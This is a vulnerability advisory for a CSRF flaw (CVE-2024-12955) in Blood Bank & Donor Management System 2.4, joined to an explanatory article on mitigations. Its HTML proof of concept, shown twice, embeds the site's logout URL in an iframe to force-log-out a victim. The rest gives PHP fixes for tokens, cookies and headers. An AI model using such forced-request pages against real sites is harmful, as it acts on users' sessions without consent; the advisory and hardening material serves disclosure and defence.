Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation
#Exploit Title: Blood Bank & Donor Management System 2.4 - CSRF Improper
Input Validation
# Google Dork: N/A
# Date: 2024-12-26
# Exploit Author: Kwangyun Keum
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/blood-bank-donor-management-system/
# Version: 2.4
# Tested on: Windows 10 / Kali Linux with Apache and MySQL
# CVE: CVE-2024-12955
## Description:
Blood Bank & Donor Management System v2.4 suffers from a Cross-Site Request
Forgery (CSRF) vulnerability due to the absence of CSRF tokens for critical
functionalities such as logout. An attacker can craft a malicious iframe
embedding the logout URL and trick a victim into clicking it. This results
in the victim being logged out without their consent.
## Steps to Reproduce:
1. Deploy Blood Bank & Donor Management System v2.4.
2. Log in as any user.
3. Use the following PoC to demonstrate the issue:
```html
<html>
<body>
<iframe
src="http://localhost/bbdms/logout.php"
style="border:0px #FFFFFF none;"
name="myLogoutFrame"
scrolling="no"
frameborder="1"
marginheight="0px"
marginwidth="0px"
height="400px"
width="600px"
allowfullscreen>
</iframe>
</body>
</html>
4. Save the above HTML code as logout_poc.html.
5.Open the file in a browser and click anywhere on the page to trigger the
logout. Blood Bank & Donor Management System 2.4 — CSRF due to Missing Input Validation (CVE-2024-12955)
This article explains a Cross-Site Request Forgery (CSRF) issue reported in Blood Bank & Donor Management System v2.4 (CVE-2024-12955). It covers what the vulnerability is, why it matters, how an attacker might exploit it (for demonstration only), and concrete, practical mitigations and secure coding patterns for PHP-based applications.
What is the problem?
Blood Bank & Donor Management System 2.4 exposes state-changing operations (including logout) that lack protections against CSRF. Because those actions can be invoked by a simple GET request without CSRF tokens, an attacker can induce a victim’s browser to perform the action by embedding a resource (for example, an iframe) or linking to the target URL from an attacker-controlled page.
Why it matters
- CSRF enables attackers to perform actions on behalf of authenticated users without their intent.
- While the provided example is a logout, more severe impacts are possible if other sensitive actions (profile update, donation data changes, administrative tasks) are also implemented via unprotected endpoints.
- Protecting all state-changing endpoints is important to maintain user trust and application integrity.
| Item | Details |
|---|---|
| Product | Blood Bank & Donor Management System |
| Version | 2.4 |
| Vulnerability | CSRF — missing CSRF tokens / weak input validation |
| CVE | CVE-2024-12955 |
Proof of Concept (demonstration)
This demonstrates how a logout endpoint invoked via GET can be triggered by an attacker-controlled page. Do not use such code against third-party systems — this is for defensive testing on systems you own or are authorized to test.
<!-- logout_poc.html (demonstration only) -->
<html>
<body>
<iframe
src="http://localhost/bbdms/logout.php"
style="border:0;"
width="600"
height="400">
</iframe>
</body>
</html>
Explanation: This page embeds the target logout URL inside an iframe. If a victim who is authenticated to the target site visits this page (and the site allows logout via GET), the browser will request logout.php and the victim will be logged out without consent. This demonstrates why state-changing actions should not be executable via simple unauthenticated GET requests and why CSRF protections are necessary.
Defensive strategies and best practices
1) Use CSRF tokens for all state-changing requests
Every action that modifies server state (including logout, profile update, donation creation, admin actions) should require a server-validated anti-CSRF token. Prefer server-side session-based tokens or framework built-in protections.
<!-- token_generation.php -->
<?php
session_start();
// Ensure a CSRF token exists for this session
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Use $_SESSION['csrf_token'] in forms
?>
Explanation: This code generates a cryptographically-random token once per session and stores it in the session. The token should be included in every state-changing form as a hidden input and validated on submission.
<!-- logout_form.php -->
<?php
session_start();
$token = $_SESSION['csrf_token'] ?? '';
?>
<form method="POST" action="/bbdms/logout.php">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($token); ?>" />
<button type="submit">Logout</button>
</form>
Explanation: This renders a logout form that sends a POST with the CSRF token. Moving logout to POST (and validating the token) makes it harder for attackers to cause an automatic logout via embedded resources or malicious links.
<!-- logout.php (server-side validation) -->
<?php
session_start();
// Only allow POST for logout
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405); // Method Not Allowed
exit('Method Not Allowed');
}
$token = $_POST['csrf_token'] ?? '';
if (empty($token) || !hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
http_response_code(403); // Forbidden
exit('Invalid CSRF token');
}
// Proceed with logout
session_unset();
session_destroy();
// Redirect or render response
header('Location: /bbdms/login.php');
exit;
?>
Explanation: This script enforces POST-only access and verifies the CSRF token using hash_equals to avoid timing attacks. If the token is missing or invalid, the request is rejected. Only on successful verification is the session destroyed and logout completed.
2) Use X-Frame-Options and Content-Security-Policy (frame-ancestors)
Prevent clickjacking and framing by other origins. Configure headers so the site cannot be embedded on attacker pages.
<?php
// Send security headers early in the request lifecycle
header('X-Frame-Options: DENY'); // or SAMEORIGIN
header(\"Content-Security-Policy: frame-ancestors 'self'\");
?>
Explanation: X-Frame-Options: DENY blocks all framing. CSP frame-ancestors 'self' restricts framing to the same origin. These reduce the risk of attack pages embedding your site in iframes (used in many CSRF and clickjacking attempts).
3) Enforce SameSite and secure cookie attributes
Set session cookies with SameSite=Lax or Strict when appropriate. Lax is a reasonable default that blocks many cross-site requests while preserving common navigation flows.
<?php
// PHP 7.3+ way to set cookie params including samesite
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => 'yourdomain.example',
'secure' => true, // send only over HTTPS
'httponly' => true, // prevent JS access
'samesite' => 'Lax' // or 'Strict' when acceptable
]);
session_start();
?>
Explanation: This configures the session cookie with secure flags and SameSite. SameSite reduces the ability of cross-origin pages to send cookies with requests and is an effective additional defense against CSRF.
4) Require POST (or other non-idempotent) methods for state changes
Avoid implementing state-changing endpoints as GET requests. GET should be idempotent and safe. Use POST/PUT/DELETE and verify CSRF tokens for those requests.
5) Validate Referer and Origin for sensitive endpoints
As a secondary check, validate the Referer or Origin header on requests that change state (note: headers can be absent in some clients). If present, enforce same-origin checks.
<?php
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$allowed_origin = 'https://yourdomain.example';
if ($origin) {
if ($origin !== $allowed_origin) {
http_response_code(403);
exit('Invalid Origin');
}
} elseif ($referer) {
$referer_host = parse_url($referer, PHP_URL_HOST);
if ($referer_host !== 'yourdomain.example') {
http_response_code(403);
exit('Invalid Referer');
}
}
?>
Explanation: This adds additional checks on Origin/Referer. Origin is preferable when available. These checks should complement — not replace — CSRF tokens.
6) Use framework-built CSRF protections where possible
Many modern frameworks provide secure CSRF protection out-of-the-box (stateless tokens, automatic token renewal, double-submit cookies). Use those rather than rolling your own when feasible.
Hardening checklist for deployers and developers
- Move logout and other state-changing endpoints to POST and protect them with server-validated CSRF tokens.
- Set session cookies with Secure, HttpOnly, and SameSite attributes.
- Send X-Frame-Options and Content-Security-Policy (frame-ancestors) headers.
- Validate Origin/Referer when available as an additional safeguard.
- Limit the lifetime and scope of high-privilege sessions; require re-authentication for critical operations.
- Perform regular code reviews and automated testing for CSRF across all modules (forms, AJAX endpoints, APIs).
- Follow responsible disclosure and patch management: notify affected stakeholders and deploy fixes promptly.
Example: Putting it together (minimal secure logout flow)
<?php
// init.php — included at top of all pages
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax'
]);
session_start();
// Ensure CSRF token exists
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Recommended security headers
header('X-Frame-Options: DENY');
header(\"Content-Security-Policy: frame-ancestors 'self'\");
?>
Explanation: init.php centralizes session and header configuration. It ensures all pages use consistent cookie parameters and security headers, and it creates a session CSRF token for inclusion in forms.
<?php
// secure_logout.php
require 'init.php';
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
exit('Method Not Allowed');
}
$token = $_POST['csrf_token'] ?? '';
if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
http_response_code(403);
exit('Invalid CSRF token');
}
// Destroy session safely
$_SESSION = [];
if (ini_get('session.use_cookies')) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params['path'], $params['domain'],
$params['secure'], $params['httponly']
);
}
session_destroy();
header('Location: /bbdms/login.php');
exit;
?>
Explanation: secure_logout.php validates the token, destroys the session, clears session cookies, and redirects to the login page. This is a robust logout implementation that prevents CSRF-based forced logout.
Testing and validation
- Use automated scanners and manual tests to confirm CSRF tokens are present on all state-changing forms and AJAX endpoints.
- Test endpoints with missing/invalid tokens to ensure they are rejected (403/405 as appropriate).
- Verify security headers and cookie attributes using browser devtools and online scanners.
- Where applicable, add unit and integration tests validating that operations require valid tokens.
Responsible disclosure and remediation steps
- If you maintain a system affected by this vulnerability, prioritize patching endpoints that allow state changes without CSRF protection.
- Notify your users if the vulnerability could have impacted them and publish a security advisory with mitigation steps and a timeline for fixes.
- Keep systems up to date, and apply web server and PHP patches that improve security posture.
Key takeaways
- Always protect state-changing endpoints with strong, server-validated CSRF tokens.
- Use multiple complementary defenses: same-site cookies, frame-ancestors/CSP, method restrictions, and referer/origin checks.
- Prefer framework-built protections; centralize security configuration; and test routinely.